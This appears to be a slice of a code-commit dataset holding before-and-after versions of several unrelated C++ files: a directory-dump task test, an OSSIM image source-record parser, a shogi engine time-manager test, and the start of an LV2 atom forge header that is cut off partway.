everything_skipped)\n{\n\ttask_meta->cmd_args[2] = \"1\";\n\n\tauto results = task->run();\n\tASSERT_EQ(task_status::OK, results->status) << \"Failed with: \" + results->error_message;\n\n\tASSERT_FALSE(fs::exists(target \/ \"dir\" \/ \"file_a\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_a.skipped\"));\n\tASSERT_FALSE(fs::exists(target \/ \"dir\" \/ \"file_b\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_b.skipped\"));\n\tASSERT_FALSE(fs::exists(target \/ \"dir\" \/ \"subdir\" \/ \"file_c\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"subdir\" \/ \"file_c.skipped\"));\n}\n\nTEST_F(exists_task_test, largest_skipped)\n{\n\ttask_meta->cmd_args[2] = \"4\";\n\n\tauto results = task->run();\n\tASSERT_EQ(task_status::OK, results->status) << \"Failed with: \" + results->error_message;\n\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_a\"));\n\tASSERT_FALSE(fs::exists(target \/ \"dir\" \/ \"file_b\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_b.skipped\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"subdir\" \/ \"file_c\"));\n}\n<commit_msg>Rename badly named testing class exists_task_test -> dump_dir_task_test<commit_after>#include <gtest\/gtest.h>\n#include <gmock\/gmock.h>\n#include <boost\/filesystem.hpp>\n#include <fstream>\n#include <memory>\n#include \"tasks\/internal\/dump_dir_task.h\"\n\nnamespace fs = boost::filesystem;\n\nclass dump_dir_task_test : public ::testing::Test\n{\nprotected:\n\tfs::path root;\n\tfs::path target;\n\tstd::shared_ptr<dump_dir_task> task;\n\tstd::shared_ptr<task_metadata> task_meta;\n\n\tvirtual void SetUp()\n\t{\n\t\ttarget = fs::temp_directory_path() \/ fs::unique_path();\n\t\tfs::create_directory(target);\n\n\t\troot = fs::temp_directory_path() \/ fs::unique_path();\n\t\tfs::create_directory(root);\n\t\tfs::create_directory(root \/ \"subdir\");\n\n\t\tcreate_file(root \/ \"file_a\", 2048);\n\t\tcreate_file(root \/ \"file_b\", 4096);\n\t\tcreate_file(root \/ \"subdir\" \/ \"file_c\", 1536);\n\n\t\ttask_meta = std::make_shared<task_metadata>();\n\t\ttask_meta->cmd_args = {root.string(), (target \/ \"dir\").string(), \"16384\"};\n\t\ttask = std::make_shared<dump_dir_task>(1, task_meta);\n\t}\n\n\tvirtual void TearDown()\n\t{\n\t\tfs::remove_all(root);\n\t\tfs::remove(root);\n\t\tfs::remove_all(target);\n\t\tfs::remove(target);\n\t}\n\n\tvoid create_file(const fs::path &path, std::size_t size)\n\t{\n\t\tstd::ofstream f(path.string());\n\t\tfor (std::size_t i = 0; i < size; i++) { f << \"a\"; }\n\t\tf.close();\n\t}\n};\n\nTEST_F(dump_dir_task_test, everything_fits)\n{\n\tauto results = task->run();\n\tASSERT_EQ(task_status::OK, results->status) << \"Failed with: \" + results->error_message;\n\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_a\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_b\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"subdir\" \/ \"file_c\"));\n}\n\nTEST_F(dump_dir_task_test, everything_skipped)\n{\n\ttask_meta->cmd_args[2] = \"1\";\n\n\tauto results = task->run();\n\tASSERT_EQ(task_status::OK, results->status) << \"Failed with: \" + results->error_message;\n\n\tASSERT_FALSE(fs::exists(target \/ \"dir\" \/ \"file_a\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_a.skipped\"));\n\tASSERT_FALSE(fs::exists(target \/ \"dir\" \/ \"file_b\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_b.skipped\"));\n\tASSERT_FALSE(fs::exists(target \/ \"dir\" \/ \"subdir\" \/ \"file_c\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"subdir\" \/ \"file_c.skipped\"));\n}\n\nTEST_F(dump_dir_task_test, largest_skipped)\n{\n\ttask_meta->cmd_args[2] = \"4\";\n\n\tauto results = task->run();\n\tASSERT_EQ(task_status::OK, results->status) << \"Failed with: \" + results->error_message;\n\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_a\"));\n\tASSERT_FALSE(fs::exists(target \/ \"dir\" \/ \"file_b\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_b.skipped\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"subdir\" \/ \"file_c\"));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/*************************************************************************************************\n\/\/                          OSSIM -- Open Source Software Image Map\n\/\/\n\/\/  LICENSE: See top level LICENSE.txt file.\n\/\/   AUTHOR: Oscar Kramer\n\/\/\n\/\/  CLASS DESCRIPTION: \n\/\/! Class used for parsing the command line *.src files. This is a scheme for providing input\n\/\/! file information to am ossim app such as ossim-orthoigen.\n\/\/*************************************************************************************************\n\/\/  $Id$\n\n#include <ossim\/support_data\/ossimSrcRecord.h>\n#include <ossim\/base\/ossimKeywordNames.h>\n#include <ossim\/base\/ossimNotify.h>\n\n\/\/*************************************************************************************************\n\/\/ Default constructor\n\/\/*************************************************************************************************\nossimSrcRecord::ossimSrcRecord() \n:  m_entryIndex(-1),\n   m_weight(0.0),\n   m_isVectorData(false),\n   m_isRgbData(false)\n{}\n\n\/\/*************************************************************************************************\n\/\/ Constructs given an in-memory KWL and entry index.\n\/\/*************************************************************************************************\nossimSrcRecord::ossimSrcRecord(const ossimKeywordlist& src_kwl, ossim_uint32 index, ossimString prefix_str)\n:  m_entryIndex(-1),\n   m_weight(0.0),\n   m_isVectorData(false),\n   m_isRgbData(false)\n{\n   prefix_str += ossimString::toString(index) + \".\";\n   const char* prefix = prefix_str.chars();\n\n   loadState(src_kwl, prefix);\n}\n\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nbool ossimSrcRecord::loadState(const ossimKeywordlist& kwl, const char* prefix)\n{\n   \/\/ Read image filename entry (required):\n   m_rgbFilenames.clear();\n   m_rgbHistogramPaths.clear();\n   m_rgbHistogramOps.clear();\n   m_rgbOverviewPaths.clear();\n   ossimString lookup = kwl.find(prefix, \"r\");\n   if (!lookup.empty())\n   {\n      m_filename = lookup;\n      m_isRgbData = true;\n      m_rgbFilenames.push_back(lookup);\n\n      lookup = kwl.find(prefix, \"r.hist\");\n      m_rgbHistogramPaths.push_back(lookup.downcase());\n     \n      lookup = kwl.find(prefix, \"r.hist-op\");\n      m_rgbHistogramOps.push_back(lookup.downcase());\n\n      lookup = kwl.find(prefix, \"r.ovr\");\n      m_rgbOverviewPaths.push_back(lookup);\n     \n      lookup = kwl.find(prefix, \"g\");\n      m_rgbFilenames.push_back(lookup);\n      \n      lookup = kwl.find(prefix, \"g.hist\");\n      m_rgbHistogramPaths.push_back(lookup.downcase());\n      \n      lookup = kwl.find(prefix, \"g.ovr\");\n      m_rgbOverviewPaths.push_back(lookup);\n      \n      lookup = kwl.find(prefix, \"g.hist-op\");\n      m_rgbHistogramOps.push_back(lookup.downcase());\n      \n      lookup = kwl.find(prefix, \"b\");\n      m_rgbFilenames.push_back(lookup);\n      \n      lookup = kwl.find(prefix, \"b.hist\");\n      m_rgbHistogramPaths.push_back(lookup.downcase());\n      \n      lookup = kwl.find(prefix, \"b.hist-op\");\n      m_rgbHistogramOps.push_back(lookup.downcase());\n      \n      lookup = kwl.find(prefix, \"b.ovr\");\n      m_rgbOverviewPaths.push_back(lookup);\n      \n      return true;\n   }\n      \n   lookup = kwl.find(prefix, \"file\");\n   if (!lookup.empty())\n   {\n      m_filename = lookup;\n      m_attributesKwl.add(ossimKeywordNames::FILENAME_KW, m_filename.chars());\n   }\n   else\n   {\n      m_filename.clear();\n      return false;\n   }\n\n   \/\/ Read image entry index:\n   lookup = kwl.find(prefix, \"entry\");\n   if (!lookup.empty()) \n   {\n      m_entryIndex = lookup.toInt32();\n      m_attributesKwl.add(ossimKeywordNames::ENTRY_KW, m_entryIndex);\n   }\n   else\n   {\n      m_entryIndex = -1;\n   }\n\n   \/\/ Establish supplementary directory containing overview:\n   lookup = kwl.find(prefix, \"ovr\");\n   if (!lookup.empty()) \n   {\n      m_overviewPath = ossimFilename(lookup);\n      m_attributesKwl.add(ossimKeywordNames::OVERVIEW_FILE_KW, m_overviewPath.chars());\n   }\n   else\n   {\n      m_overviewPath.clear();\n   }\n\n   lookup = kwl.find(prefix, \"mask\");\n   if (!lookup.empty()) \n   {\n      m_maskPath = ossimFilename(lookup);\n   }\n   else\n   {\n      m_maskPath.clear();\n   }\n\n   \/\/ Histogram operation for this image:\n   lookup = kwl.find(prefix, \"hist\");\n   if (!lookup.empty()) \n   {\n      m_histogramPath = lookup.downcase();\n   }\n   else\n   {\n      m_histogramPath.clear();\n   }\n   \n   \/\/ Histogram operation for this image:\n   lookup = kwl.find(prefix, \"hist-op\");\n   if (!lookup.empty()) \n   {\n      m_histogramOp = lookup.downcase();\n   }\n   else\n   {\n      m_histogramOp.clear();\n   }\n  \n   \/\/ Newer more generic spec of supp dir since more than just ovrs may reside there:\n   lookup = kwl.find(prefix, \"support\");\n   if (!lookup.empty()) \n   {\n      setSupportDir(lookup);\n   }\n   else\n   {\n      m_supportDir.clear();\n   }\n         \n   \/\/ Establish selected bands:\n   lookup = kwl.find(prefix, \"rgb\");\n   if (!lookup.empty())\n   {\n      m_bandList.clear();\n\n      \/\/---\n      \/\/ Multiple bands delimited by comma:\n      \/\/\n      \/\/ NOTE:  Keyword list ONE based.\n      \/\/ ossimBandSelector list ZERO based.\n      \/\/---\n      std::vector<ossimString> bandsStr = lookup.split(\",\");\n      for (ossim_uint32 i = 0; i < bandsStr.size(); i++)\n      {\n         int band = bandsStr[i].toInt32() - 1;\n         if (band >= 0) m_bandList.push_back((ossim_uint32) band);\n      }\n   }\n   else\n   {\n      m_bandList.clear();\n   }\n\n   lookup = kwl.find(prefix, \"opacity\");\n   if (!lookup.empty())\n      m_weight =  lookup.toDouble();\n\n   \/\/ Look for vector data info:\n   m_isVectorData = false;\n   ossimString vector_prefix (prefix);\n   vector_prefix += \"vector.\";\n   ossimKeywordlist vectorKwl;\n\n#define DIRECT_KW_MAPPING false\n   if (DIRECT_KW_MAPPING)\n   {\n      \/\/ This method of stuffing the attributes KWL is presented here as an example of the way we \n      \/\/ should do it: \n      m_attributesKwl.add(kwl, vector_prefix.chars()); \n   }\n   else\n   {\n      \/\/ Need to translate SRC keywords to KWs expected by OSSIM:\n      lookup = kwl.find(vector_prefix, \"line.color\");\n      if (!lookup.empty())\n         vectorKwl.add(ossimKeywordNames::PEN_COLOR_KW, lookup);\n      lookup = kwl.find(vector_prefix, \"line.width\");\n      if (!lookup.empty())\n         vectorKwl.add(ossimKeywordNames::THICKNESS_KW, lookup);\n      lookup = kwl.find(vector_prefix, \"fill.color\");\n      if (!lookup.empty())\n      {\n         vectorKwl.add(ossimKeywordNames::FILL_FLAG_KW, true);\n         vectorKwl.add(ossimKeywordNames::BRUSH_COLOR_KW, lookup);\n      }\n      lookup = kwl.find(vector_prefix, \"query\");\n      if (!lookup.empty())\n        vectorKwl.add(ossimKeywordNames::QUERY_KW, lookup);\n   }\n\n   if (vectorKwl.getSize())\n   {\n      m_isVectorData = true;\n      m_attributesKwl.add(0, vectorKwl);\n   }\n\n   \/\/ Read keywords associated with special pixel remapping (pixel flipping, clamping, and \n   \/\/ clipping):\n   lookup = kwl.find(prefix, \"replacement_mode\");\n   if (!lookup.empty())\n      m_pixelFlipParams.replacementMode = lookup;\n   lookup = kwl.find(prefix, \"clamp.min\");\n   if (!lookup.empty())\n      m_pixelFlipParams.clampMin = lookup.toDouble();\n   lookup = kwl.find(prefix, \"clamp.max\");\n   if (!lookup.empty())\n      m_pixelFlipParams.clampMax = lookup.toDouble();\n   lookup = kwl.find(prefix, \"clip.min\");\n   if (!lookup.empty())\n      m_pixelFlipParams.clipMin = lookup.toDouble();\n   lookup = kwl.find(prefix, \"clip.max\");\n   if (!lookup.empty())\n      m_pixelFlipParams.clipMax = lookup.toDouble();\n\n   return true;\n}\n\n\/\/*************************************************************************************************\n\/\/ Sets supplementary data files dir. If the OVR and\/or hist dirs are undefined, they are also\n\/\/ set to this path.\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setSupportDir(const ossimFilename& f)\n{\n   m_supportDir = f;\n   if (m_overviewPath.empty()) \n      setOverview(m_supportDir);\n   if (m_histogramPath.empty())\n      m_histogramPath = m_supportDir;\n   if (m_maskPath.empty())\n      m_maskPath = m_supportDir;\n}\n\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setFilename(const ossimFilename& f)          \n{ \n   m_filename = f; \n   m_attributesKwl.add(ossimKeywordNames::FILENAME_KW, m_filename.chars());\n}\n\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setEntryIndex(ossim_int32 i)                 \n{ \n   m_entryIndex = i; \n   m_attributesKwl.add(ossimKeywordNames::ENTRY_KW, m_entryIndex);\n}\n\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setOverview(const ossimFilename& f)          \n{ \n   m_overviewPath = f; \n   m_attributesKwl.add(ossimKeywordNames::OVERVIEW_FILE_KW, m_overviewPath.chars());\n}\n\n<commit_msg>Working on reolocatable overviews and histograms for chipping<commit_after>\/\/*************************************************************************************************\n\/\/                          OSSIM -- Open Source Software Image Map\n\/\/\n\/\/  LICENSE: See top level LICENSE.txt file.\n\/\/   AUTHOR: Oscar Kramer\n\/\/\n\/\/  CLASS DESCRIPTION: \n\/\/! Class used for parsing the command line *.src files. This is a scheme for providing input\n\/\/! file information to am ossim app such as ossim-orthoigen.\n\/\/*************************************************************************************************\n\/\/  $Id$\n\n#include <ossim\/support_data\/ossimSrcRecord.h>\n#include <ossim\/base\/ossimKeywordNames.h>\n#include <ossim\/base\/ossimNotify.h>\n\n\/\/*************************************************************************************************\n\/\/ Default constructor\n\/\/*************************************************************************************************\nossimSrcRecord::ossimSrcRecord() \n:  m_entryIndex(-1),\n   m_weight(0.0),\n   m_isVectorData(false),\n   m_isRgbData(false)\n{}\n\n\/\/*************************************************************************************************\n\/\/ Constructs given an in-memory KWL and entry index.\n\/\/*************************************************************************************************\nossimSrcRecord::ossimSrcRecord(const ossimKeywordlist& src_kwl, ossim_uint32 index, ossimString prefix_str)\n:  m_entryIndex(-1),\n   m_weight(0.0),\n   m_isVectorData(false),\n   m_isRgbData(false)\n{\n   prefix_str += ossimString::toString(index) + \".\";\n   const char* prefix = prefix_str.chars();\n\n   loadState(src_kwl, prefix);\n}\n\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nbool ossimSrcRecord::loadState(const ossimKeywordlist& kwl, const char* prefix)\n{\n   \/\/ Read image filename entry (required):\n   m_rgbFilenames.clear();\n   m_rgbHistogramPaths.clear();\n   m_rgbHistogramOps.clear();\n   m_rgbOverviewPaths.clear();\n   ossimString lookup = kwl.find(prefix, \"r\");\n   if (!lookup.empty())\n   {\n      m_filename = lookup;\n      m_isRgbData = true;\n      m_rgbFilenames.push_back(lookup);\n\n      lookup = kwl.find(prefix, \"r.hist\");\n      m_rgbHistogramPaths.push_back(lookup.downcase());\n     \n      lookup = kwl.find(prefix, \"r.hist-op\");\n      m_rgbHistogramOps.push_back(lookup.downcase());\n\n      lookup = kwl.find(prefix, \"r.ovr\");\n      m_rgbOverviewPaths.push_back(lookup);\n     \n      lookup = kwl.find(prefix, \"g\");\n      m_rgbFilenames.push_back(lookup);\n      \n      lookup = kwl.find(prefix, \"g.hist\");\n      m_rgbHistogramPaths.push_back(lookup.downcase());\n      \n      lookup = kwl.find(prefix, \"g.ovr\");\n      m_rgbOverviewPaths.push_back(lookup);\n      \n      lookup = kwl.find(prefix, \"g.hist-op\");\n      m_rgbHistogramOps.push_back(lookup.downcase());\n      \n      lookup = kwl.find(prefix, \"b\");\n      m_rgbFilenames.push_back(lookup);\n      \n      lookup = kwl.find(prefix, \"b.hist\");\n      m_rgbHistogramPaths.push_back(lookup.downcase());\n      \n      lookup = kwl.find(prefix, \"b.hist-op\");\n      m_rgbHistogramOps.push_back(lookup.downcase());\n      \n      lookup = kwl.find(prefix, \"b.ovr\");\n      m_rgbOverviewPaths.push_back(lookup);\n      \n      return true;\n   }\n      \n   lookup = kwl.find(prefix, \"file\");\n   if (!lookup.empty())\n   {\n      m_filename = lookup;\n      m_attributesKwl.add(ossimKeywordNames::FILENAME_KW, m_filename.chars());\n   }\n   else\n   {\n      m_filename.clear();\n      return false;\n   }\n\n   \/\/ Read image entry index:\n   lookup = kwl.find(prefix, \"entry\");\n   if (!lookup.empty()) \n   {\n      m_entryIndex = lookup.toInt32();\n      m_attributesKwl.add(ossimKeywordNames::ENTRY_KW, m_entryIndex);\n   }\n   else\n   {\n      m_entryIndex = -1;\n   }\n\n   \/\/ Establish supplementary directory containing overview:\n   lookup = kwl.find(prefix, \"ovr\");\n   if (!lookup.empty()) \n   {\n      setOverview(ossimFilename(lookup));\n   }\n   else\n   {\n      m_overviewPath.clear();\n   }\n   lookup = kwl.find(prefix, \"geom\");\n   if (!lookup.empty()) \n   {\n      setGeom(ossimFilename(lookup));\n   }\n   else\n   {\n      m_geomPath.clear();\n   }\n\n   lookup = kwl.find(prefix, \"mask\");\n   if (!lookup.empty()) \n   {\n      m_maskPath = ossimFilename(lookup);\n   }\n   else\n   {\n      m_maskPath.clear();\n   }\n\n   \/\/ Histogram operation for this image:\n   lookup = kwl.find(prefix, \"hist\");\n   if (!lookup.empty()) \n   {\n      m_histogramPath = lookup.downcase();\n   }\n   else\n   {\n      m_histogramPath.clear();\n   }\n   \n   \/\/ Histogram operation for this image:\n   lookup = kwl.find(prefix, \"hist-op\");\n   if (!lookup.empty()) \n   {\n      m_histogramOp = lookup.downcase();\n   }\n   else\n   {\n      m_histogramOp.clear();\n   }\n  \n   \/\/ Newer more generic spec of supp dir since more than just ovrs may reside there:\n   lookup = kwl.find(prefix, \"support\");\n   if (!lookup.empty()) \n   {\n      setSupportDir(lookup);\n   }\n   else\n   {\n      m_supportDir.clear();\n   }\n         \n   \/\/ Establish selected bands:\n   lookup = kwl.find(prefix, \"rgb\");\n   if (!lookup.empty())\n   {\n      m_bandList.clear();\n\n      \/\/---\n      \/\/ Multiple bands delimited by comma:\n      \/\/\n      \/\/ NOTE:  Keyword list ONE based.\n      \/\/ ossimBandSelector list ZERO based.\n      \/\/---\n      std::vector<ossimString> bandsStr = lookup.split(\",\");\n      for (ossim_uint32 i = 0; i < bandsStr.size(); i++)\n      {\n         int band = bandsStr[i].toInt32() - 1;\n         if (band >= 0) m_bandList.push_back((ossim_uint32) band);\n      }\n   }\n   else\n   {\n      m_bandList.clear();\n   }\n\n   lookup = kwl.find(prefix, \"opacity\");\n   if (!lookup.empty())\n      m_weight =  lookup.toDouble();\n\n   \/\/ Look for vector data info:\n   m_isVectorData = false;\n   ossimString vector_prefix (prefix);\n   vector_prefix += \"vector.\";\n   ossimKeywordlist vectorKwl;\n\n#define DIRECT_KW_MAPPING false\n   if (DIRECT_KW_MAPPING)\n   {\n      \/\/ This method of stuffing the attributes KWL is presented here as an example of the way we \n      \/\/ should do it: \n      m_attributesKwl.add(kwl, vector_prefix.chars()); \n   }\n   else\n   {\n      \/\/ Need to translate SRC keywords to KWs expected by OSSIM:\n      lookup = kwl.find(vector_prefix, \"line.color\");\n      if (!lookup.empty())\n         vectorKwl.add(ossimKeywordNames::PEN_COLOR_KW, lookup);\n      lookup = kwl.find(vector_prefix, \"line.width\");\n      if (!lookup.empty())\n         vectorKwl.add(ossimKeywordNames::THICKNESS_KW, lookup);\n      lookup = kwl.find(vector_prefix, \"fill.color\");\n      if (!lookup.empty())\n      {\n         vectorKwl.add(ossimKeywordNames::FILL_FLAG_KW, true);\n         vectorKwl.add(ossimKeywordNames::BRUSH_COLOR_KW, lookup);\n      }\n      lookup = kwl.find(vector_prefix, \"query\");\n      if (!lookup.empty())\n        vectorKwl.add(ossimKeywordNames::QUERY_KW, lookup);\n   }\n\n   if (vectorKwl.getSize())\n   {\n      m_isVectorData = true;\n      m_attributesKwl.add(0, vectorKwl);\n   }\n\n   \/\/ Read keywords associated with special pixel remapping (pixel flipping, clamping, and \n   \/\/ clipping):\n   lookup = kwl.find(prefix, \"replacement_mode\");\n   if (!lookup.empty())\n      m_pixelFlipParams.replacementMode = lookup;\n   lookup = kwl.find(prefix, \"clamp.min\");\n   if (!lookup.empty())\n      m_pixelFlipParams.clampMin = lookup.toDouble();\n   lookup = kwl.find(prefix, \"clamp.max\");\n   if (!lookup.empty())\n      m_pixelFlipParams.clampMax = lookup.toDouble();\n   lookup = kwl.find(prefix, \"clip.min\");\n   if (!lookup.empty())\n      m_pixelFlipParams.clipMin = lookup.toDouble();\n   lookup = kwl.find(prefix, \"clip.max\");\n   if (!lookup.empty())\n      m_pixelFlipParams.clipMax = lookup.toDouble();\n\n   return true;\n}\n\n\/\/*************************************************************************************************\n\/\/ Sets supplementary data files dir. If the OVR and\/or hist dirs are undefined, they are also\n\/\/ set to this path.\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setSupportDir(const ossimFilename& f)\n{\n   m_supportDir = f;\n   m_attributesKwl.add(\"supplementary_directory\", f.c_str());\n   \/\/ if (m_overviewPath.empty()) \n   \/\/    setOverview(m_supportDir);\n   if (m_histogramPath.empty())\n      m_histogramPath = m_supportDir;\n   if (m_maskPath.empty())\n      m_maskPath = m_supportDir;\n   \/\/ if(m_geomPath.empty())\n   \/\/    m_geomPath = m_supportDir;\n}\n\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setFilename(const ossimFilename& f)          \n{ \n   m_filename = f; \n   m_attributesKwl.add(ossimKeywordNames::FILENAME_KW, m_filename.chars());\n}\n\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setEntryIndex(ossim_int32 i)                 \n{ \n   m_entryIndex = i; \n   m_attributesKwl.add(ossimKeywordNames::ENTRY_KW, m_entryIndex);\n}\n\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setOverview(const ossimFilename& f)          \n{ \n   m_overviewPath = f; \n   m_attributesKwl.add(ossimKeywordNames::OVERVIEW_FILE_KW, m_overviewPath.chars());\n}\n\/\/*************************************************************************************************\n\/\/ METHOD\n\/\/*************************************************************************************************\nvoid ossimSrcRecord::setGeom(const ossimFilename& f)          \n{ \n   m_geomPath = f; \n   m_attributesKwl.add(ossimKeywordNames::GEOM_FILE_KW, m_overviewPath.chars());\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* TimeManagerTest.cpp\n *\n * Kubo Ryosuke\n *\/\n\n#include \"test\/Test.hpp\"\n#include \"search\/time\/TimeManager.hpp\"\n#include \"search\/Searcher.hpp\"\n\nusing namespace sunfish;\n\nTEST(TimeManagerTest, testTimeManager) {\n  Move move1(Square::s27(), Square::s26(), false);\n  Move move2(Square::s83(), Square::s84(), false);\n  Move moves1[] = { move1, move2, move1, move2, move1, move2, move1, move2, move1, move2, };\n  Move moves2[] = { move2, move1, move2, move1, move2, move1, move2, move1, move2, move1, };\n  PV pv1(10, moves1);\n  PV pv2(10, moves2);\n\n  auto inf = SearchConfig::InfinityTime;\n  struct Scenario {\n    bool clear;\n    SearchConfig::TimeType optimumTimeMs;\n    SearchConfig::TimeType maximumTimeMs;\n    uint32_t elapsedMs;\n    int depth;\n    Score score;\n    PV pv;\n    bool shouldInterrupt;\n  };\n  Scenario scenario[] = {\n    \/\/ clear optimumTimeMs maximumTimeMs elapsedMs depth score   pv shouldInterrupt\n    {   true,          inf,          inf,    10000,   10,  100, pv1,          false },\n    {  false,          inf,          inf,   581000,   11,  100, pv1,          false },\n    {  false,          inf,          inf,   582000,   12,  100, pv2,          false }, \/\/ 97% of maximumTimeMs\n    {   true,          inf,       600000,    10000,   10,  100, pv1,          false },\n    {  false,          inf,       600000,   581000,   11,  100, pv1,          false },\n    {  false,          inf,       600000,   582000,   12,  100, pv2,           true }, \/\/ 97% of maximumTimeMs\n    {   true,       100000,       600000,    10000,   10,  100, pv1,          false },\n    {  false,       100000,       600000,   581000,   11,  100, pv2,          false },\n    {  false,       100000,       600000,   582000,   12,  100, pv2,           true }, \/\/ 97% of maximumTimeMs\n  };\n\n  TimeManager timeManager;\n\n  timeManager.clearGame();\n\n  for (size_t i = 0; i < sizeof(scenario)\/sizeof(scenario[0]); i++) {\n    auto s = scenario[i];\n    if (s.clear) {\n      timeManager.clearPosition(s.optimumTimeMs, s.maximumTimeMs);\n    }\n    timeManager.update(s.elapsedMs,\n                       s.depth * Searcher::Depth1Ply,\n                       s.score,\n                       s.pv);\n    ASSERT_EQ(s.shouldInterrupt, timeManager.shouldInterrupt());\n  }\n}\n<commit_msg>Fix test<commit_after>\/* TimeManagerTest.cpp\n *\n * Kubo Ryosuke\n *\/\n\n#include \"test\/Test.hpp\"\n#include \"search\/time\/TimeManager.hpp\"\n#include \"search\/Searcher.hpp\"\n\nusing namespace sunfish;\n\nTEST(TimeManagerTest, testTimeManager) {\n  Move move1(Square::s27(), Square::s26(), false);\n  Move move2(Square::s83(), Square::s84(), false);\n  Move move3(Square::s17(), Square::s16(), true);\n  Move moves1[] = { move1, move2, move3, move1, move2, move3, move1, move2, move3, move1, };\n  Move moves2[] = { move2, move3, move1, move2, move3, move1, move2, move3, move1, move2, };\n  Move moves3[] = { move3, move1, move2, move3, move1, move2, move3, move1, move2, move3, };\n  PV pv1(10, moves1);\n  PV pv2(10, moves2);\n  PV pv3(10, moves3);\n\n  auto inf = SearchConfig::InfinityTime;\n  struct Scenario {\n    bool clear;\n    SearchConfig::TimeType optimumTimeMs;\n    SearchConfig::TimeType maximumTimeMs;\n    uint32_t elapsedMs;\n    int depth;\n    Score score;\n    PV pv;\n    bool shouldInterrupt;\n  };\n  Scenario scenario[] = {\n    \/\/ clear optimumTimeMs maximumTimeMs elapsedMs depth score   pv shouldInterrupt\n    {   true,          inf,          inf,    10000,   10,  100, pv1,          false },\n    {  false,          inf,          inf,   581000,   11,  100, pv2,          false },\n    {  false,          inf,          inf,   582000,   12,  100, pv3,          false },\n    {   true,          inf,       600000,    10000,   10,  100, pv1,          false },\n    {  false,          inf,       600000,   479000,   11,  100, pv2,          false },\n    {  false,          inf,       600000,   480000,   12,  100, pv3,           true }, \/\/ 80% of maximumTimeMs\n    {   true,       100000,       600000,    10000,   10,  100, pv1,          false },\n    {  false,       100000,       600000,   479000,   11,  100, pv2,          false },\n    {  false,       100000,       600000,   480000,   12,  100, pv3,           true }, \/\/ 80% of maximumTimeMs\n  };\n\n  TimeManager timeManager;\n\n  timeManager.clearGame();\n\n  for (size_t i = 0; i < sizeof(scenario)\/sizeof(scenario[0]); i++) {\n    auto s = scenario[i];\n    if (s.clear) {\n      timeManager.clearPosition(s.optimumTimeMs, s.maximumTimeMs);\n    }\n    timeManager.update(s.elapsedMs,\n                       s.depth * Searcher::Depth1Ply,\n                       s.score,\n                       s.pv);\n    ASSERT_EQ(s.shouldInterrupt, timeManager.shouldInterrupt());\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2012-2013 Samplecount S.L.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef METHCLA_LV2_ATOM_HPP_INCLUDED\n#define METHCLA_LV2_ATOM_HPP_INCLUDED\n\n#include <cassert>\n#include <ostream>\n#include <stdexcept>\n#include <sstream>\n#include <string>\n\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/atom.h\"\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/forge.h\"\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/util.h\"\n\nnamespace Methcla { namespace LV2 {\n\n    class Property\n    {\n    public:\n        Property(LV2_URID key, LV2_URID context=0)\n            : m_key(key)\n            , m_context(context)\n        { }\n\n        LV2_URID key() const { return m_key; }\n        LV2_URID context() const { return m_context; }\n\n    private:\n        LV2_URID m_key, m_context;\n    };\n\n    class Forge : public LV2_Atom_Forge\n    {\n    public:\n        Forge(const LV2_Atom_Forge& forge)\n            : LV2_Atom_Forge(forge)\n        { }\n        Forge(LV2_URID_Map* uridMap)\n        {\n            lv2_atom_forge_init(this, uridMap);\n        }\n        Forge(const Forge& other) = default;\n\n        void setBuffer(uint8_t* data, uint32_t size)\n        {\n            lv2_atom_forge_set_buffer(this, data, size);\n        }\n\n        void atom(uint32_t size, uint32_t type)\n        {\n            lv2_atom_forge_atom(this, size, type);\n        }\n\n        void write(const void* data, uint32_t size)\n        {\n            lv2_atom_forge_write(this, const_cast<void*>(data), size);\n        }\n\n        Forge& operator<<(int32_t x)\n        {\n            lv2_atom_forge_int(this, x);\n            return *this;\n        }\n\n        Forge& operator<<(int64_t x)\n        {\n            lv2_atom_forge_long(this, x);\n            return *this;\n        